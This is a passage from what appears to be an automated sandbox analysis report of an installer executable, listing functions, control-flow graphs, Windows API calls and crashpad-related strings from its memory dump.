                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileModuleName
                                                                                                                                                                                                                • String ID: --monitor-self$--monitor-self-annotation=ptype=$--monitor-self-argument=$--type=$--user-data-dir=$/prefetch:7$OPERA_CRASHPAD_PIPE_NAME$Win32$channel$crashpad-handler$crashpad_handler.exe$plat$prod$special$ver
                                                                                                                                                                                                                • API String ID: 514040917-2088404468
                                                                                                                                                                                                                • Opcode ID: bda8c261f553e1e74f8de135e6551c3bc6caa1bd20e82dfb45e7da1bac18de2a
                                                                                                                                                                                                                • Instruction ID: 78dae74a79da2db037867f4a7713f20f13720387eea1a34f6ba34d4ac4435899
                                                                                                                                                                                                                • Opcode Fuzzy Hash: bda8c261f553e1e74f8de135e6551c3bc6caa1bd20e82dfb45e7da1bac18de2a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5382E0B1508755AFDB11DF24D844A6BBBE4BF95300F00482EF8CA97252D739EA49CB93
                                                                                                                                                                                                                Function 0076ACEE Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1534 76acee-76acfc 1535 76acfe-76ad05 1534->1535 1536 76ad1a-76ad64 GetCurrentProcessId call 748590 1534->1536 1538 76ad17-76ad19 1535->1538 1539 76ad07-76ad10 call 7ac79e 1535->1539 1544 76ad69-76adc3 call 7ac868 call 730c66 1536->1544 1539->1538 1549 76adc5-76adcb 1544->1549 1550 76add1-76ade8 call 748e60 1544->1550 1549->1550 1553 76adf5-76ae07 1550->1553 1554 76adea-76adf3 1550->1554 1555 76ae1c-76ae4c 1553->1555 1556 76ae09-76ae15 call 82945e 1553->1556 1554->1555 1557 76ae5e-76ae65 1555->1557 1558 76ae4e-76ae5b call 82945e 1555->1558 1556->1555 1561 76ae77-76ae88 call 7acb18 1557->1561 1562 76ae67-76ae74 call 82945e 1557->1562 1558->1557 1569 76ae9f-76aea2 1561->1569 1570 76ae8a-76ae8c 1561->1570 1562->1561 1571 76aea4-76aea8 1569->1571 1572 76aee9-76aef0 1569->1572 1573 76ae92-76ae9d call 7ac794 1570->1573 1574 76b0ca 1570->1574 1571->1544 1575 76aeae-76aee7 call 78d580 call 78d550 call 6f1741 call 78d560 1571->1575 1578 76aef2-76aefa call 82945e 1572->1578 1579 76aefd-76b021 CreateEventW * 3 call 76b0cf SetUnhandledExceptionFilter call 843723 call 8293de call 713450 * 4 call 7304ce call 76c972 call 716204 call 6f4418 call 7313a0 1572->1579 1573->1569 1576 76b0cf-76b0fb call 7acdd8 call 8293de call 7337a0 1574->1576 1577 76b0ca call 83d9b4 1574->1577 1575->1572 1577->1576 1578->1579 1622 76b023-76b04d CreateThread call 76b0fc 1579->1622 1623 76b0a1-76b0af call 76b18d 1579->1623 1628 76b0b1-76b0c7 call 8294aa 1622->1628 1629 76b04f-76b05b call 73be20 1622->1629 1623->1628 1634 76b093-76b09f 1629->1634 1635 76b05d-76b08e call 73c840 call 73c9e0 call 6f1741 call 73ca90 1629->1635 1634->1628 1635->1634
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32 ref: 0076AD4F
                                                                                                                                                                                                                  • Part of subcall function 007AC79E: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,008A4F64,00000000), ref: 007AC7B4
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseCurrentHandleProcess
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crashpad_client_win.cc$CreateNamedPipe$CreateThread$\\.\pipe\crashpad_%lu_
                                                                                                                                                                                                                • API String ID: 2391145178-1892946667
                                                                                                                                                                                                                • Opcode ID: 281c9219e1087673ce128c6b184460f67fcb2ecfd6911728243dfbf5db235231
                                                                                                                                                                                                                • Instruction ID: c2c1755716638989afe35261a50df53c46dcd3b4ad9f7074b9b61d08746bcd45
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 281c9219e1087673ce128c6b184460f67fcb2ecfd6911728243dfbf5db235231
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A1B1E3B0A00704AFD720EF74C846BA6B7E9FF45300F04892EF95A97681EB79B854CB51
                                                                                                                                                                                                                Function 0076AD1E Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 284threadCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1643 76ad1e-76ad64 GetCurrentProcessId call 748590 1646 76ad69-76adc3 call 7ac868 call 730c66 1643->1646 1651 76adc5-76adcb 1646->1651 1652 76add1-76ade8 call 748e60 1646->1652 1651->1652 1655 76adf5-76ae07 1652->1655 1656 76adea-76adf3 1652->1656 1657 76ae1c-76ae4c 1655->1657 1658 76ae09-76ae15 call 82945e 1655->1658 1656->1657 1659 76ae5e-76ae65 1657->1659 1660 76ae4e-76ae5b call 82945e 1657->1660 1658->1657 1663 76ae77-76ae88 call 7acb18 1659->1663 1664 76ae67-76ae74 call 82945e 1659->1664 1660->1659 1671 76ae9f-76aea2 1663->1671 1672 76ae8a-76ae8c 1663->1672 1664->1663 1673 76aea4-76aea8 1671->1673 1674 76aee9-76aef0 1671->1674 1675 76ae92-76ae9d call 7ac794 1672->1675 1676 76b0ca 1672->1676 1673->1646 1677 76aeae-76aee7 call 78d580 call 78d550 call 6f1741 call 78d560 1673->1677 1680 76aef2-76aefa call 82945e 1674->1680 1681 76aefd-76b021 CreateEventW * 3 call 76b0cf SetUnhandledExceptionFilter call 843723 call 8293de call 713450 * 4 call 7304ce call 76c972 call 716204 call 6f4418 call 7313a0 1674->1681 1675->1671 1678 76b0cf-76b0fb call 7acdd8 call 8293de call 7337a0 1676->1678 1679 76b0ca call 83d9b4 1676->1679 1677->1674 1679->1678 1680->1681 1724 76b023-76b04d CreateThread call 76b0fc 1681->1724 1725 76b0a1-76b0a8 call 76b18d 1681->1725 1730 76b0b1-76b0c7 call 8294aa 1724->1730 1731 76b04f-76b05b call 73be20 1724->1731 1728 76b0ad-76b0af 1725->1728 1728->1730 1736 76b093-76b09f 1731->1736 1737 76b05d-76b08e call 73c840 call 73c9e0 call 6f1741 call 73ca90 1731->1737 1736->1730 1737->1736
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32 ref: 0076AD4F
                                                                                                                                                                                                                  • Part of subcall function 00730D4E: _strlen.LIBCMT ref: 00730D5D
                                                                                                                                                                                                                • CreateEventW.KERNEL32(0000000C,00000000,00000000,00000000), ref: 0076AF29
                                                                                                                                                                                                                • CreateEventW.KERNEL32(0000000C,00000000,00000000,00000000), ref: 0076AF3A
                                                                                                                                                                                                                • CreateEventW.KERNEL32(0000000C,00000000,00000000,00000000), ref: 0076AF4B
                                                                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(0076C770), ref: 0076AF5C
                                                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,0076B140,00000000,00000000,00000000), ref: 0076B032
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Create$Event$CurrentExceptionFilterProcessThreadUnhandled_strlen
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crashpad_client_win.cc$CreateNamedPipe$CreateThread$\\.\pipe\crashpad_%lu_
                                                                                                                                                                                                                • API String ID: 1337974324-1892946667
                                                                                                                                                                                                                • Opcode ID: 00f3ecdc3951deec49821b0dc28e5d9992a39f8c6234d4fd441828607f9563c4
                                                                                                                                                                                                                • Instruction ID: 27e859d3322383672e735c0af49c131a26b39938e901265f059c1e20acb44cdd
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 00f3ecdc3951deec49821b0dc28e5d9992a39f8c6234d4fd441828607f9563c4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D1B1E3B0600704AFD720EF74C886BA6B7E9FF05300F04892DE85A97691EB79B854CB51
                                                                                                                                                                                                                Function 0076F782 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 534COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1891 76f782-76f7e4 call 737c80 * 2 call 7373d0 call 717f49 1900 76fb16-76fb3d 1891->1900 1901 76f7ea-76f7fe 1891->1901 1904 76fb3f-76fb53 call 7701db 1900->1904 1905 76fb6c-76fb6f 1900->1905 1903 76f802-76f804 1901->1903 1906 76f806-76f810 1903->1906 1907 76f83f-76f855 1903->1907 1922 76fe30 1904->1922 1923 76fb59-76fb67 1904->1923 1911 76fe67-76fe6b 1905->1911 1912 76fbbb-76fbdd call 716204 1905->1912 1909 76f812-76f816 1906->1909 1910 76f81a-76f83a call 737cd0 call 737dd0 call 737d90 1906->1910 1919 76f857-76f85e 1907->1919 1920 76f8a1-76f8d1 call 737c80 1907->1920 1909->1910 1910->1907 1914 76fe7c-76fe85 1911->1914 1915 76fe6d 1911->1915 1942 76fbe3-76fc01 call 6f3696 call 7168a0 1912->1942 1943 76fc9f-76fce7 call 6f3696 call 730aa2 call 7168a0 1912->1943 1938 76fe97-76feab 1914->1938 1939 76fe87-76fe90 call 7b1830 1914->1939 1921 76fe74-76fe79 call 82945e 1915->1921 1928 76f860-76f864 1919->1928 1929 76f868-76f89b call 737cd0 call 737dd0 call 737d90 call 752df0 1919->1929 1958 76f8d3-76f8da 1920->1958 1959 76f90a-76f957 call 76f1b4 call 7304ce call 713450 1920->1959 1921->1914 1926 76fe37-76fe52 call 748e60 call 76c3b6 1922->1926 1923->1926 1964 76fe54-76fe5d call 82945e 1926->1964 1965 76fe60 1926->1965 1928->1929 1929->1920 1992 76fed8-76fed9 1929->1992 1946 76feb3-76fed7 call 737d90 call 8294aa 1938->1946 1947 76fead-76feaf 1938->1947 1939->1938 1981 76fc03-76fc0c call 82945e 1942->1981 1982 76fc0f-76fc1f 1942->1982 1994 76fcf5-76fcfa 1943->1994 1995 76fce9-76fcf2 call 82945e 1943->1995 1947->1946 1966 76f8e4-76f905 call 737cd0 call 737dd0 call 737d90 1958->1966 1967 76f8dc-76f8e0 1958->1967 2006 76f95d-76f95f 1959->2006 2007 76f959 1959->2007 1964->1965 1965->1911 1966->1959 1967->1966 1981->1982 1982->1943 1989 76fc21 1982->1989 1997 76fc23-76fc39 call 6f3696 1989->1997 2003 76fedb-76fedc 1992->2003 2001 76fcfc-76fd05 call 82945e 1994->2001 2002 76fd08-76fd40 call 7701db call 76ad1e 1994->2002 1995->1994 2016 76fc40-76fc77 call 730920 call 7168a0 1997->2016 2017 76fc3b-76fc3e 1997->2017 2001->2002 2025 76fd45-76fd67 call 6f573e call 7701db call 76c49e 2002->2025 2012 76f961-76f988 call 82da70 GetModuleFileNameW 2006->2012 2013 76f9cc-76f9e9 call 716204 2006->2013 2007->2006 2012->2003 2029 76f98e-76f997 2012->2029 2027 76fb74-76fbb8 call 738610 call 738b80 call 737dd0 call 737d90 * 2 2013->2027 2028 76f9ef-76fa3b call 6f3696 call 730aa2 call 7168a0 2013->2028 2039 76fc85-76fc8a 2016->2039 2040 76fc79-76fc82 call 82945e 2016->2040 2017->2016 2063 76fd71-76fd90 call 7492e0 2025->2063 2064 76fd69-76fd6d 2025->2064 2027->1912 2070 76fa3d-76fa46 call 82945e 2028->2070 2071 76fa49-76fa51 2028->2071 2034 76f9ab-76f9cb call 737cd0 call 737dd0 call 737d90 2029->2034 2035 76f999 2029->2035 2034->2013 2042 76f99b-76f9a9 2035->2042 2047 76fc8c-76fc95 call 82945e 2039->2047 2048 76fc98-76fc9d 2039->2048 2040->2039 2042->2034 2042->2042 2047->2048 2048->1943 2048->1997 2089 76fd92-76fd9b call 82945e 2063->2089 2090 76fd9e-76fda6 2063->2090 2064->2063 2070->2071 2072 76fa53-76fa5c call 82945e 2071->2072 2073 76fa5f-76fa65 2071->2073 2072->2073 2078 76fa67 2073->2078 2079 76fa6a-76fa6c 2073->2079 2078->2079 2083 76fae2-76fb00 call 6f3696 call 7168a0 2079->2083 2084 76fa6e-76fa82 call 6f3696 2079->2084 2107 76fb02-76fb0b call 82945e 2083->2107 2108 76fb0e-76fb11 2083->2108 2098 76fa84-76fa87 2084->2098 2099 76fa89-76fac1 call 730920 call 7168a0 2084->2099 2089->2090 2094 76fdb4-76fdd7 call 6f40f6 * 2 call 737d90 2090->2094 2095 76fda8-76fdb1 call 82945e 2090->2095 2121 76fde5-76fdf6 call 7010fe 2094->2121 2122 76fdd9-76fde2 call 82945e 2094->2122 2095->2094 2098->2099 2116 76fac3-76facc call 82945e 2099->2116 2117 76facf-76fad4 2099->2117 2107->2108 2108->1912 2116->2117 2117->2083 2120 76fad6-76fadf call 82945e 2117->2120 2120->2083 2130 76fe04-76fe12 call 737d90 2121->2130 2131 76fdf8-76fe01 call 82945e 2121->2131 2122->2121 2136 76fe14-76fe1d call 82945e 2130->2136 2137 76fe20-76fe28 2130->2137 2131->2130 2136->2137 2137->1914 2139 76fe2a-76fe2e 2137->2139 2139->1921
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 0076F980
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileModuleName
                                                                                                                                                                                                                • String ID: --monitor-self$--monitor-self-annotation=ptype=$--monitor-self-argument=$--type=$--user-data-dir=$/prefetch:7$OPERA_CRASHPAD_PIPE_NAME$crashpad-handler
                                                                                                                                                                                                                • API String ID: 514040917-1229799049
                                                                                                                                                                                                                • Opcode ID: fdd6ee2b814a1c97fbb1e4a32b676967b38b8dd10f7658fb972614bad8677e60
                                                                                                                                                                                                                • Instruction ID: d8eeac58e2707ebb4889c54ffad62f2eda42db30ccde3f5e5d40cdcc44bb6a9b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fdd6ee2b814a1c97fbb1e4a32b676967b38b8dd10f7658fb972614bad8677e60
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4E22E6B16083549FDB21EF24D445A6FBBE4FF85304F04882DF8CA97252DB35A949CB92
                                                                                                                                                                                                                Function 00740EE0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 319COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 2141 740ee0-740f11 2142 740f17-740f1a 2141->2142 2143 74125d-741271 call 8294e7 2141->2143 2144 740f1c-740f35 call 7533c0 call 8294aa 2142->2144 2145 740f3a-740f49 TryAcquireSRWLockExclusive 2142->2145 2143->2142 2152 741277-7412c1 call 8293de call 7337a0 call 82955d 2143->2152 2171 741173-74117a 2144->2171 2149 740f4f-740f5c 2145->2149 2150 74123b-741242 call 7568f0 2145->2150 2153 740f5e-740f66 2149->2153 2154 740faf-740fb4 2149->2154 2175 741247-741252 call 7568f0 2150->2175 2152->2142 2158 741071-74109c ReleaseSRWLockExclusive call 737c80 2153->2158 2159 740f6c-740fa6 2153->2159 2154->2153 2160 740fb6-740ff0 2154->2160 2180 7410b6-7410bc 2158->2180 2181 74109e-74109f 2158->2181 2164 741000-741004 2159->2164 2165 740fa8-740fad 2159->2165 2167 740ff6-740ffb 2160->2167 2168 74117b-74117f 2160->2168 2173 741011-741019 2164->2173 2176 741006-74100e 2164->2176 2165->2173 2170 74118c-741194 2167->2170 2169 741181-741189 2168->2169 2168->2170 2169->2170 2170->2153 2178 74119a-74119e 2170->2178 2173->2158 2177 74101b-74101f 2173->2177 2190 741152-74115b ReleaseSRWLockExclusive 2175->2190 2191 741258 2175->2191 2176->2173 2177->2158 2183 741021-741027 2177->2183 2178->2153 2186 7411a4-7411aa 2178->2186 2184 7410c1-7410c3 2180->2184 2185 7410be 2180->2185 2188 7410a0 2181->2188 2192 74103f-741044 2183->2192 2193 74115d 2184->2193 2194 7410c9-7410d5 call 739e40 2184->2194 2185->2184 2195 7411bf-7411c4 2186->2195 2197 7410a2-7410a7 2188->2197 2203 74115f-741162 call 737d90 2190->2203 2191->2143 2198 741046-74104a 2192->2198 2199 741030-741033 2192->2199 2193->2203 2220 7410d7-7410f9 call 751500 call 737dd0 call 737d90 2194->2220 2221 741102-741117 call 737db0 TryAcquireSRWLockExclusive 2194->2221 2201 7411c6-7411ca 2195->2201 2202 7411b0-7411b3 2195->2202 2197->2180 2204 7410a9-7410ae 2197->2204 2207 741060-741062 2198->2207 2208 74104c-74104f 2198->2208 2205 7411e7-7411eb 2199->2205 2206 741039-74103d 2199->2206 2212 7411d1-7411d3 2201->2212 2213 7411cc-7411cf 2201->2213 2210 7411b5-7411b9 2202->2210 2211 74121f-741236 call 737db0 ReleaseSRWLockExclusive 2202->2211 2224 741167-741171 call 8294aa 2203->2224 2204->2180 2215 7410b0-7410b4 2204->2215 2205->2211 2216 7411ed-74121a call 741520 call 737db0 2205->2216 2206->2158 2206->2192 2217 74106d-74106f 2207->2217 2219 741064-74106a 2207->2219 2208->2217 2210->2153 2210->2195 2211->2224 2222 7411de-7411e0 2212->2222 2223 7411d5-7411db 2212->2223 2213->2222 2215->2188 2216->2211 2217->2158 2217->2206 2219->2217 2244 7410fe-741100 2220->2244 2245 7410fb 2220->2245 2221->2175 2236 74111d-741121 2221->2236 2222->2210 2225 7411e2 2222->2225 2223->2222 2224->2171 2225->2153 2236->2190 2238 741123-74114f call 741520 call 737db0 2236->2238 2238->2190 2244->2193 2244->2221 2245->2244
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00577B38,?,?,?,?,?,?,?,?,?,?,?,006F1118,00000005,?), ref: 00740F41
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00577B38,?,?,?,?,?,?,?,?,?,?,?,006F1118,00000005,?), ref: 00741075
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00741262
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 007412B9
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireInit_thread_footerInit_thread_headerRelease
                                                                                                                                                                                                                • String ID: 8{W
                                                                                                                                                                                                                • API String ID: 2580794422-3976005968
                                                                                                                                                                                                                • Opcode ID: 2b0786553f2570ad49601d4eae1c99db6486a5d5ef69ab71dcbcdd0359ee96c0
                                                                                                                                                                                                                • Instruction ID: 7fce0805a84dd80e7767fb0ddf79d37e9b62e459afa7d84a9c002b6e729d48cc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2b0786553f2570ad49601d4eae1c99db6486a5d5ef69ab71dcbcdd0359ee96c0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 89B11671B002499BCF24EF64C8816BEB3B2BF85310B58412DE916E7352DB39ED85CB91
                                                                                                                                                                                                                Function 00837C65 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32(0083D9F7,?,00837D1D,0083C03F,?,0083D9F7,0083C03F,0083D9F7,00000003), ref: 00837C87
                                                                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,?,00837D1D,0083C03F,?,0083D9F7,0083C03F,0083D9F7,00000003), ref: 00837C8E
                                                                                                                                                                                                                • ExitProcess.KERNEL32 ref: 00837CA0
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1703294689-0
                                                                                                                                                                                                                • Opcode ID: d4866b9e7839354765e93217274e0fd95a995ad7f78300375451fa3b6cc9548e
                                                                                                                                                                                                                • Instruction ID: da58e14ebba811ac690d0f498e6f0ee1987a1f4dc41d0a111bb1db95b0c06ea8
                                                                                                                                                                                                                • Opcode Fuzzy Hash: d4866b9e7839354765e93217274e0fd95a995ad7f78300375451fa3b6cc9548e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6AE0B671014648EFCF267F68DE499893B69FB85345F044815F909DA131CB39DD82DBD2
                                                                                                                                                                                                                Function 007ACB18 Relevance: 3.1, APIs: 2, Instructions: 53pipeCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 007ACB49
                                                                                                                                                                                                                • CreateNamedPipeW.KERNELBASE ref: 007ACBA4
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateNamedPipeVersion
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1287812050-0
                                                                                                                                                                                                                • Opcode ID: 68daf63807de7224c5046d7875c960521a8ef3873c2f7b2b026d4aed2888e1df
                                                                                                                                                                                                                • Instruction ID: 3f8b6d27702fb820faa6838e5eeb971500a15ab4a62547954bfc306142d9782c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 68daf63807de7224c5046d7875c960521a8ef3873c2f7b2b026d4aed2888e1df
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F9119AB18082099BEB089F69D4463AAFBE4FF89310F00851EE899AB391C7755584CBD2
                                                                                                                                                                                                                Function 00718004 Relevance: 109.4, APIs: 40, Strings: 22, Instructions: 934COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00718188
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00718276
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007182B3
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 007184E1
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0071860C
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007186F1
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00718759
